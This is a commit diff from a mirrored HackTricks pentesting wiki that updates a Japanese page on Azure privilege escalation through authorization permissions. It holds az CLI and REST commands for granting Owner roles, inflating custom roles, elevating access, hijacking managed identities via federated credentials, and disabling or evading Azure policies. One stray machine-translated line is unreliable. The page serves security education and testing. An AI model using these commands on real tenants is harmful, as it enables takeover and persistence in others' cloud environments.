gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-06-12 19:11:44 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

Browse Source
This commit is contained in:
Translator
2026-05-05 13:20:34 +00:00
parent 9c79724523
commit b5189a81dc
1 changed files with 90 additions and 27 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
+90 -27
View File
@@ -4,24 +4,51 @@
## Azure IAM
詳細は次を参照してください:
詳細は以下を確認:
{{#ref}}
../az-services/az-azuread.md
{{#endref}}
principal が **authorization 自体を変更** できる権限は、通常 **privesc primitives** です。これは特に **management group** や **subscription** スコープで付与された場合に危険で、権限が子リソースへ継承されます。
### Microsoft.Authorization/roleAssignments/write
この権限は、特定のスコープに対してプリンシパルにロールを割り当てることを許可します。攻撃者はこれを利用して、より高い権限のロールを自身に割り当てることで権限を昇格させることができます:
この権限により、特定の scope に対して role assignments を作成できます。これにより、攻撃者は自分自身または制御下にある別の principal に、より高権限の role を割り当てて権限を昇格できます。
Typical flow:
```bash
# Login and confirm current context
az login
az account show
# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
```
侵害された principal がその scope に対してこの action を持っている場合、`Owner`、`Contributor`、`Key Vault Secrets Officer`、またはその scope で利用可能な他の built-in/custom role などの privileged role を直接付与できます:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
ターゲットの user/service principal/managed identity の **principal object ID** を知っているだけで、新しい role を付与するのに十分です。これは、別の制御下にある principal に role を割り当てることで、**self-privesc**、**lateral movement**、または **persistence** に悪用できます。
この permission により、role に付与された permissions を変更することができます。これにより attacker が、割り当てられた role に対してより多くの permissions を付与して escalate privileges することが可能になります。
### Microsoft.Authorization/roleDefinitions/write
次の**内容**を持つファイル `role.json` を作成してください:
この permission は custom role definitions の作成または変更を許可します。実際には、これは危険です。なぜなら攻撃者は次のことができるからです。
- すでに侵害された principal に **already assigned** されている custom role を変更し、新しい permissions を即座に有効化する。
- 新しい過剰権限の custom role を作成し、通常は `Microsoft.Authorization/roleAssignments/write` と連携してそれを割り当てる。
Typical flow:
```bash
# Find the current assignments
az role assignment list --all --output table
# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
```
Please provide the content that should go inside `role.json`.
```json
{
"roleName": "<name of the role>",
@@ -33,19 +60,22 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
```
次に、前の定義を呼び出してロールの権限を更新します:
その後、以前の定義を呼び出して role permissions を更新します:
```bash
az role definition update --role-definition role.json
```
変更された role が**すでに attacker に割り当てられている**場合、新しい role assignment を作成するよりもこちらのほうが速い path になりえます。なぜなら、permission inflation が既存の assignment に適用されるからです。\
attacker が `roleDefinitions/write` しか持っていない場合でも、compromised principals にすでに割り当てられている roles を変更することで、これを weaponize できます。
### Microsoft.Authorization/elevateAccess/action
この権限は特権を昇格させ、任意のプリンシパルに対して Azure リソースの権限を割り当てることを可能にします。これは Entra ID Global Administrators に付与されることを想定しており、Azure リソースの権限も管理できるようにするためのものです。
この permissions は、privileges を elevate し、Azure resources に対して任意の principal に permissions を assign できるようにします。これは Entra ID Global Administrators に付与されることを想定しており、彼らが Azure resources 上の permissions も管理できるようにするためのものです。
> [!TIP]
> elevate 呼び出しを機能させるには、ユーザーが Entrad ID の Global Administrator である必要があると思います。
> elevate call を機能させるには、ユーザーが Entrad ID で Global Administrator である必要があると思います。
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
この権限は、マネージド ID に Federated credentials を追加することを許可します。例えば、repo の Github Actions にマネージド ID へのアクセス権を与えることができます。すると、**任意のユーザー定義のマネージド ID にアクセスすることが可能になります**。
この権限は、**user-assigned managed identities** 上に **Federated Identity Credentials (FICs)** を作成/更新することを許可します。実際には、攻撃者が外部 identity provider への新しい trust relationship を追加し、その managed identity として token を取得できるようになります。
Github の repo にマネージド ID へのアクセスを付与するための例コマンド:
これは **persistence / identity hijacking primitive** です。managed identity がすでに Azure resources への access を持っている場合、攻撃者は一致する外部 workload（たとえば GitHub Actions workflow）を作成し、外部 token を Azure tokens と交換するだけで済みます。
悪用する前に確認すると有用な点:
- どの **managed identity** を変更できるか
- その managed identity に既に割り当てられている **scope/roles** は何か
- token exchange 時に受け入れられる **issuer**、**subject**、**audience** は何か
専用の CLI command で FIC を作成できます:
```bash
az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
```
または raw REST を使う。
managed identity に GitHub repo へのアクセスを付与する例のコマンド:
```bash
# Generic example:
az rest --method PUT \
@@ -71,26 +121,32 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
FIC が作成されると、攻撃者は外部 workload から認証し、Azure ですでに付与されている managed identity の権限を使用できます。GitHub OIDC / workload identity の abuse について詳しくは、以下を確認してください:
{{#ref}}
../az-basic-information/az-federation-abuse.md
{{#endref}}
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
管理グループ、サブスクリプション、またはリソースグループに対して `Microsoft.Authorization/policyAssignments/write` または `Microsoft.Authorization/policyAssignments/delete` の権限を持つ攻撃者は、**Azure のポリシー割り当てを変更または削除**でき、特定の操作をブロックする**セキュリティ制限を無効化**する可能性があります。
management group、subscription、または resource group に対して `Microsoft.Authorization/policyAssignments/write` または `Microsoft.Authorization/policyAssignments/delete` 権限を持つ攻撃者は、**Azure policy assignments を変更または削除**でき、特定の操作をブロックする**security restrictions を無効化**できる可能性があります。
これにより、ポリシーによって以前は保護されていたリソースや機能へアクセスできるようになります。
これにより、以前は policy によって保護されていた resource や functionality にアクセスできます。
**ポリシー割り当てを削除する:**
**policy assignment を削除する:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**ポリシー割り当てを無効にする：**
**ポリシー割り当てを無効化する:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**変更を確認する:**
**変更を確認:**
```bash
# List policy assignments
az policy assignment list \
@@ -103,17 +159,17 @@ az policy assignment show \
```
### Microsoft.Authorization/policyDefinitions/write
権限 `Microsoft.Authorization/policyDefinitions/write` を持つ攻撃者は、**Azure のポリシー定義を変更する**ことができ、環境全体のセキュリティ制約を制御するルールを変えることができます。
`Microsoft.Authorization/policyDefinitions/write` 権限を持つ attacker は、**Azure policy definitions を変更**でき、環境全体の security restrictions を制御する rules を改変できます。
例えば、リソース作成時に許可されるリージョンを制限するポリシーを、任意のリージョンを許可するように変更したり、ポリシーの効果を変更して無効化したりできます。
たとえば、resource 作成時に許可される region を制限する policy を、任意の region を許可するように変更したり、policy effect を変更して無効化したりできます。
**ポリシー定義を変更する:**
**policy definition を変更する:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**変更を確認する:**
**変更を確認してください:**
```bash
az policy definition list --output table
@@ -121,23 +177,23 @@ az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
攻撃者は `Microsoft.Management/managementGroups/write` 権限を持っていると、上位に適用された制限付きポリシーを回避するために、**management groups の階層構造を変更**したり、**新しい management group を作成**したりできます。
`Microsoft.Management/managementGroups/write` 権限を持つ攻撃者は、**management groups の階層構造を変更**したり、**新しい management groups を作成**したりでき、上位レベルで適用された制限的な policies を回避できる可能性があります。
例えば、攻撃者は制限付きポリシーのない新しい management group を作成し、サブスクリプションをそこに移動させることができます。
たとえば、攻撃者は制限的な policies のない新しい management group を作成し、その後 subscriptions をそこに移動できます。
**新しい management group を作成する:**
**新しい management group を作成:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**管理グループの階層を変更する:**
**管理 group hierarchy を modify する:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**変更を確認する:**
**変更を確認:**
```bash
az account management-group list --output table
@@ -147,7 +203,7 @@ az account management-group show \
```
### Microsoft.Management/managementGroups/subscriptions/write
権限 `Microsoft.Management/managementGroups/subscriptions/write` を持つ攻撃者は、**subscriptions を management groups 間で移動**でき、より制限の緩い、またはポリシーが設定されていない management group に移すことで、**制限的なポリシーを回避**する可能性があります。
`Microsoft.Management/managementGroups/subscriptions/write` 権限を持つ攻撃者は、**subscription を management group 間で移動**でき、より制限の緩い、または制限のない policies を持つ group に subscription を移すことで、**制限的な policies を回避**できる可能性があります。
**subscription を別の management group に移動する:**
```bash
@@ -155,10 +211,17 @@ az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**変更を確認する:**
**変更を確認してください:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
## References
- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
{{#include ../../../banners/hacktricks-training.md}}